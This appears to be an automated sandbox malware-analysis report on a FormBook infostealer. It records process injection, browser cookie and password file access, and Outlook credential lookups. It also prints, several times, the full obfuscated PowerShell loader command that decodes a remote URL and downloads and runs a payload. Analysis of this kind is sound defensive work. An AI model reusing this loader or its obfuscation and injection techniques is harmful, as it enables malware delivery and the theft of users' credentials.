Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtCreateMutant: Direct from: 0x76F035CC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtWriteVirtualMemory: Direct from: 0x76F02E3C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtMapViewOfSection: Direct from: 0x76F02D1C Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtResumeThread: Direct from: 0x76F036AC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtAllocateVirtualMemory: Direct from: 0x76F02BFC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtReadFile: Direct from: 0x76F02ADC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtQuerySystemInformation: Direct from: 0x76F02DFC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtDelayExecution: Direct from: 0x76F02DDC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtQueryInformationProcess: Direct from: 0x76F02C26 Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtResumeThread: Direct from: 0x76F02FBC Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe NtCreateUserProcess: Direct from: 0x76F0371C Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: NULL target: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: NULL target: C:\Windows\SysWOW64\msiexec.exe protection: execute and read and write Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Section loaded: NULL target: C:\Windows\SysWOW64\msinfo32.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\msinfo32.exe Thread register set: target process: 6892 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\SysWOW64\msiexec.exe base: 2C80000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Lediggang Graadighedens Disciplineringer Bagermestrene Teutonisk Uptilt #>;$Spegeplserne='Nymaledes';<#Messiness Compromising Anaphalis Gennemarbejdelsen Fodervikkerne #>;$Laparotomize140=$host.'PrivateData';If ($Laparotomize140) {$Trikotagefabrikker++;}function Spdbarnsplejerens($Ledningernes){$Annelism=$Totlafholdenhed61+$Ledningernes.Length-$Trikotagefabrikker; for( $Omgik=7;$Omgik -lt $Annelism;$Omgik+=8){$Methodisers='Exuscitate';$Protaspis+=$Ledningernes[$Omgik];$Newsroom204='Dkfjers';}$Protaspis;}function Optllingslister($baulky){ & ($Unark) ($baulky);}$Steamboating=Spdbarnsplejerens 'MouthfuMDecollaoUarb,jdzRaabaaniUdf ldelundertilAntipreaNebra.k/Averrab5stedbrd.Faglrer0 Ful,vr Blottel(Porch dWB taliniAfgangsnRati,nedPopuliso Ove clwAllokatsBegnawn HjertebN Kal etTTempl r Materia1Haunche0Waylanr. instit0Gri tmi;Departe c araciW,uccubei.aftkjonandest 6Eardro 4 Increa; Delege Finansrx Uterom6 mysti 4Fgtmedd;a,reste barramurMacroptvKonvolu:Re ligh1 Graph 2Argenti1Delubru.Apace a0Bebutto)Lystbaa unquietG Spelmae TwelfhcAttak ekSkamrdmoQuantis/Persona2Hemidom0Noggkas1 Nonchr0,anebry0Jaszmal1Futu is0Ud lugt1 Arquat BararmFLikenesiQuizzysrIchthyoeLuncherfOzoniz.oRaastofx.hefmgl/Gra,bea1Aym sar2 Fje,ne1.ongrat.Andelss0No merc ';$Railcard=Spdbarnsplejerens 'syltdepuSoapfissdkningsESvartidRRidning- Er,rinA PainkigOverophE GustinN NegatiTForkerk ';$Ekspatrieret=Spdbarnsplejerens 'Bille thG,ilingtThrenodtBibliotpNonevilsSkydere:Evangel/ mpetu/ Fili,tp DatostuSpecialb Blomme-Tremour2pladshof Achi l7Nipsetsd Quater0 upersu7gagered1Vgtford5 Repr.f3,nakepreGreeneraHousefl1ev kost4 B.odsp0Moduler3Ansamle1Jengene8Sockhea4 leopardStengun6Bioscie2Tonikum2U,ifiab6Skammel6Litigatd Ind kr9unperv.cAfisnin2Regiona8theodraeAngolan4S hoolb1 Thelyt. StavnsrTeleotr2T pefli.drmmebid ConspieMicrotovTopchef/UdlistnnTaagetmePennyspdDr gbolkRiddersoTrvlerng KrgendeRecan.e. betacim Kruspes DeadmeoHusass ';$Overrigidness=Spdbarnsplejerens 'Soapyre>Indsnus ';$Unark=Spdbarnsplejerens 'Terningi,vergeneSlank ixKaosets ';$Metaprescutum='Caddises';$Arkivskab='\Nationalsocialisternes.Ska';Optllingslister (Spdbarnsplejerens 'Uhjlpso$BepaidlgBetali lRea izaoDisser,bEspartoATyr fgtlKlderen:Cebid nm ogejome S ppreKPapembaa Oblig.NklinikliBankemaShaplontMo dsgnieFinlandRHenns.n= N.trog$ ego,seEPlasmasn.ultideVIllegit:Bu.kladApel,rgoPRakitispQuincyuD GuidebA antasiTThomisiAUnhands+wasabis$Racial,aN nsurgRUnmercekForsortiDolomitVAmn,monS Et,opikBulwarkAPungpebbBowkerb ');Optllingslister (Spdbarnsplejerens 'Excla,m$KronpriGOpvaskelStumbleO otulisB Forma,aSulfosrLDiscolo: NightiITendo.oNUnwiseqd Libra i BesselSpakhusetWindburi PneumoNE,rthwacAdaptivtAgranulNFlambeeESlingreSAnnot tsUdv elg= Orchit$UncapiteLinj,skKReflektsBleeralPEnta glAKannikkTBedstevRIagttagiSnotdumEnabofamrnostalgePara.phTAcrolog.Reak orSB listip pologeLRhipidoI esidenTDonnere(Hematoz$zenithwoRadi Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\syswow64\msiexec.exe" Jump to behavior
Source: C:\Program Files (x86)\jTDqhSYfqXymuPvGOsWCFJTHSQVAZXdYfSjRCDFUneTzRPANNXGMgtxLGfo\HTiDHBMqChwMbO.exe Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe" Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#lediggang graadighedens disciplineringer bagermestrene teutonisk uptilt #>;$spegeplserne='nymaledes';<#messiness compromising anaphalis gennemarbejdelsen fodervikkerne #>;$laparotomize140=$host.'privatedata';if ($laparotomize140) {$trikotagefabrikker++;}function spdbarnsplejerens($ledningernes){$annelism=$totlafholdenhed61+$ledningernes.length-$trikotagefabrikker; for( $omgik=7;$omgik -lt $annelism;$omgik+=8){$methodisers='exuscitate';$protaspis+=$ledningernes[$omgik];$newsroom204='dkfjers';}$protaspis;}function optllingslister($baulky){ & ($unark) ($baulky);}$steamboating=spdbarnsplejerens 'mouthfumdecollaouarb,jdzraabaaniudf ldelundertilantipreanebra.k/averrab5stedbrd.faglrer0 ful,vr blottel(porch dwb taliniafgangsnrati,nedpopuliso ove clwallokatsbegnawn hjertebn kal etttempl r materia1haunche0waylanr. instit0gri tmi;departe c araciw,uccubei.aftkjonandest 6eardro 4 increa; delege finansrx uterom6 mysti 4fgtmedd;a,reste barramurmacroptvkonvolu:re ligh1 graph 2argenti1delubru.apace a0bebutto)lystbaa unquietg spelmae twelfhcattak ekskamrdmoquantis/persona2hemidom0noggkas1 nonchr0,anebry0jaszmal1futu is0ud lugt1 arquat bararmflikenesiquizzysrichthyoeluncherfozoniz.oraastofx.hefmgl/gra,bea1aym sar2 fje,ne1.ongrat.andelss0no merc ';$railcard=spdbarnsplejerens 'syltdepusoapfissdkningsesvartidrridning- er,rina painkigoverophe gustinn negatitforkerk ';$ekspatrieret=spdbarnsplejerens 'bille thg,ilingtthrenodtbibliotpnonevilsskydere:evangel/ mpetu/ fili,tp datostuspecialb blomme-tremour2pladshof achi l7nipsetsd quater0 upersu7gagered1vgtford5 repr.f3,nakepregreenerahousefl1ev kost4 b.odsp0moduler3ansamle1jengene8sockhea4 leopardstengun6bioscie2tonikum2u,ifiab6skammel6litigatd ind kr9unperv.cafisnin2regiona8theodraeangolan4s hoolb1 thelyt. stavnsrteleotr2t pefli.drmmebid conspiemicrotovtopchef/udlistnntaagetmepennyspddr gbolkriddersotrvlerng krgenderecan.e. betacim kruspes deadmeohusass ';$overrigidness=spdbarnsplejerens 'soapyre>indsnus ';$unark=spdbarnsplejerens 'terningi,vergeneslank ixkaosets ';$metaprescutum='caddises';$arkivskab='\nationalsocialisternes.ska';optllingslister (spdbarnsplejerens 'uhjlpso$bepaidlgbetali lrea izaodisser,bespartoatyr fgtlklderen:cebid nm ogejome s pprekpapembaa oblig.nkliniklibankemashaplontmo dsgniefinlandrhenns.n= n.trog$ ego,seeplasmasn.ultidevillegit:bu.kladapel,rgoprakitispquincyud guideba antasitthomisiaunhands+wasabis$racial,an nsurgrunmercekforsortidolomitvamn,mons et,opikbulwarkapungpebbbowkerb ');optllingslister (spdbarnsplejerens 'excla,m$kronprigopvaskelstumbleo otulisb forma,asulfosrldiscolo: nightiitendo.onunwiseqd libra i besselspakhusetwindburi pneumone,rthwacadaptivtagranulnflambeeeslingresannot tsudv elg= orchit$uncapitelinj,skkreflektsbleeralpenta glakannikktbedstevriagttagisnotdumenabofamrnostalgepara.phtacrolog.reak orsb listip pologelrhipidoi esidentdonnere(hematoz$zenithworadi
Source: unknown Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "<#lediggang graadighedens disciplineringer bagermestrene teutonisk uptilt #>;$spegeplserne='nymaledes';<#messiness compromising anaphalis gennemarbejdelsen fodervikkerne #>;$laparotomize140=$host.'privatedata';if ($laparotomize140) {$trikotagefabrikker++;}function spdbarnsplejerens($ledningernes){$annelism=$totlafholdenhed61+$ledningernes.length-$trikotagefabrikker; for( $omgik=7;$omgik -lt $annelism;$omgik+=8){$methodisers='exuscitate';$protaspis+=$ledningernes[$omgik];$newsroom204='dkfjers';}$protaspis;}function optllingslister($baulky){ & ($unark) ($baulky);}$steamboating=spdbarnsplejerens 'mouthfumdecollaouarb,jdzraabaaniudf ldelundertilantipreanebra.k/averrab5stedbrd.faglrer0 ful,vr blottel(porch dwb taliniafgangsnrati,nedpopuliso ove clwallokatsbegnawn hjertebn kal etttempl r materia1haunche0waylanr. instit0gri tmi;departe c araciw,uccubei.aftkjonandest 6eardro 4 increa; delege finansrx uterom6 mysti 4fgtmedd;a,reste barramurmacroptvkonvolu:re ligh1 graph 2argenti1delubru.apace a0bebutto)lystbaa unquietg spelmae twelfhcattak ekskamrdmoquantis/persona2hemidom0noggkas1 nonchr0,anebry0jaszmal1futu is0ud lugt1 arquat bararmflikenesiquizzysrichthyoeluncherfozoniz.oraastofx.hefmgl/gra,bea1aym sar2 fje,ne1.ongrat.andelss0no merc ';$railcard=spdbarnsplejerens 'syltdepusoapfissdkningsesvartidrridning- er,rina painkigoverophe gustinn negatitforkerk ';$ekspatrieret=spdbarnsplejerens 'bille thg,ilingtthrenodtbibliotpnonevilsskydere:evangel/ mpetu/ fili,tp datostuspecialb blomme-tremour2pladshof achi l7nipsetsd quater0 upersu7gagered1vgtford5 repr.f3,nakepregreenerahousefl1ev kost4 b.odsp0moduler3ansamle1jengene8sockhea4 leopardstengun6bioscie2tonikum2u,ifiab6skammel6litigatd ind kr9unperv.cafisnin2regiona8theodraeangolan4s hoolb1 thelyt. stavnsrteleotr2t pefli.drmmebid conspiemicrotovtopchef/udlistnntaagetmepennyspddr gbolkriddersotrvlerng krgenderecan.e. betacim kruspes deadmeohusass ';$overrigidness=spdbarnsplejerens 'soapyre>indsnus ';$unark=spdbarnsplejerens 'terningi,vergeneslank ixkaosets ';$metaprescutum='caddises';$arkivskab='\nationalsocialisternes.ska';optllingslister (spdbarnsplejerens 'uhjlpso$bepaidlgbetali lrea izaodisser,bespartoatyr fgtlklderen:cebid nm ogejome s pprekpapembaa oblig.nkliniklibankemashaplontmo dsgniefinlandrhenns.n= n.trog$ ego,seeplasmasn.ultidevillegit:bu.kladapel,rgoprakitispquincyud guideba antasitthomisiaunhands+wasabis$racial,an nsurgrunmercekforsortidolomitvamn,mons et,opikbulwarkapungpebbbowkerb ');optllingslister (spdbarnsplejerens 'excla,m$kronprigopvaskelstumbleo otulisb forma,asulfosrldiscolo: nightiitendo.onunwiseqd libra i besselspakhusetwindburi pneumone,rthwacadaptivtagranulnflambeeeslingresannot tsudv elg= orchit$uncapitelinj,skkreflektsbleeralpenta glakannikktbedstevriagttagisnotdumenabofamrnostalgepara.phtacrolog.reak orsb listip pologelrhipidoi esidentdonnere(hematoz$zenithworadi
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "<#lediggang graadighedens disciplineringer bagermestrene teutonisk uptilt #>;$spegeplserne='nymaledes';<#messiness compromising anaphalis gennemarbejdelsen fodervikkerne #>;$laparotomize140=$host.'privatedata';if ($laparotomize140) {$trikotagefabrikker++;}function spdbarnsplejerens($ledningernes){$annelism=$totlafholdenhed61+$ledningernes.length-$trikotagefabrikker; for( $omgik=7;$omgik -lt $annelism;$omgik+=8){$methodisers='exuscitate';$protaspis+=$ledningernes[$omgik];$newsroom204='dkfjers';}$protaspis;}function optllingslister($baulky){ & ($unark) ($baulky);}$steamboating=spdbarnsplejerens 'mouthfumdecollaouarb,jdzraabaaniudf ldelundertilantipreanebra.k/averrab5stedbrd.faglrer0 ful,vr blottel(porch dwb taliniafgangsnrati,nedpopuliso ove clwallokatsbegnawn hjertebn kal etttempl r materia1haunche0waylanr. instit0gri tmi;departe c araciw,uccubei.aftkjonandest 6eardro 4 increa; delege finansrx uterom6 mysti 4fgtmedd;a,reste barramurmacroptvkonvolu:re ligh1 graph 2argenti1delubru.apace a0bebutto)lystbaa unquietg spelmae twelfhcattak ekskamrdmoquantis/persona2hemidom0noggkas1 nonchr0,anebry0jaszmal1futu is0ud lugt1 arquat bararmflikenesiquizzysrichthyoeluncherfozoniz.oraastofx.hefmgl/gra,bea1aym sar2 fje,ne1.ongrat.andelss0no merc ';$railcard=spdbarnsplejerens 'syltdepusoapfissdkningsesvartidrridning- er,rina painkigoverophe gustinn negatitforkerk ';$ekspatrieret=spdbarnsplejerens 'bille thg,ilingtthrenodtbibliotpnonevilsskydere:evangel/ mpetu/ fili,tp datostuspecialb blomme-tremour2pladshof achi l7nipsetsd quater0 upersu7gagered1vgtford5 repr.f3,nakepregreenerahousefl1ev kost4 b.odsp0moduler3ansamle1jengene8sockhea4 leopardstengun6bioscie2tonikum2u,ifiab6skammel6litigatd ind kr9unperv.cafisnin2regiona8theodraeangolan4s hoolb1 thelyt. stavnsrteleotr2t pefli.drmmebid conspiemicrotovtopchef/udlistnntaagetmepennyspddr gbolkriddersotrvlerng krgenderecan.e. betacim kruspes deadmeohusass ';$overrigidness=spdbarnsplejerens 'soapyre>indsnus ';$unark=spdbarnsplejerens 'terningi,vergeneslank ixkaosets ';$metaprescutum='caddises';$arkivskab='\nationalsocialisternes.ska';optllingslister (spdbarnsplejerens 'uhjlpso$bepaidlgbetali lrea izaodisser,bespartoatyr fgtlklderen:cebid nm ogejome s pprekpapembaa oblig.nkliniklibankemashaplontmo dsgniefinlandrhenns.n= n.trog$ ego,seeplasmasn.ultidevillegit:bu.kladapel,rgoprakitispquincyud guideba antasitthomisiaunhands+wasabis$racial,an nsurgrunmercekforsortidolomitvamn,mons et,opikbulwarkapungpebbbowkerb ');optllingslister (spdbarnsplejerens 'excla,m$kronprigopvaskelstumbleo otulisb forma,asulfosrldiscolo: nightiitendo.onunwiseqd libra i besselspakhusetwindburi pneumone,rthwacadaptivtagranulnflambeeeslingresannot tsudv elg= orchit$uncapitelinj,skkreflektsbleeralpenta glakannikktbedstevriagttagisnotdumenabofamrnostalgepara.phtacrolog.reak orsb listip pologelrhipidoi esidentdonnere(hematoz$zenithworadi Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 0000000D.00000002.2954157360.0000000002EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955140831.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2543568933.0000000024700000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2955372386.0000000002BD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2955148766.0000000002D00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955249123.0000000004C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2544153499.0000000024B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 0000000D.00000002.2954157360.0000000002EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955140831.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2543568933.0000000024700000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2955372386.0000000002BD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2955148766.0000000002D00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2955249123.0000000004C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2544153499.0000000024B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
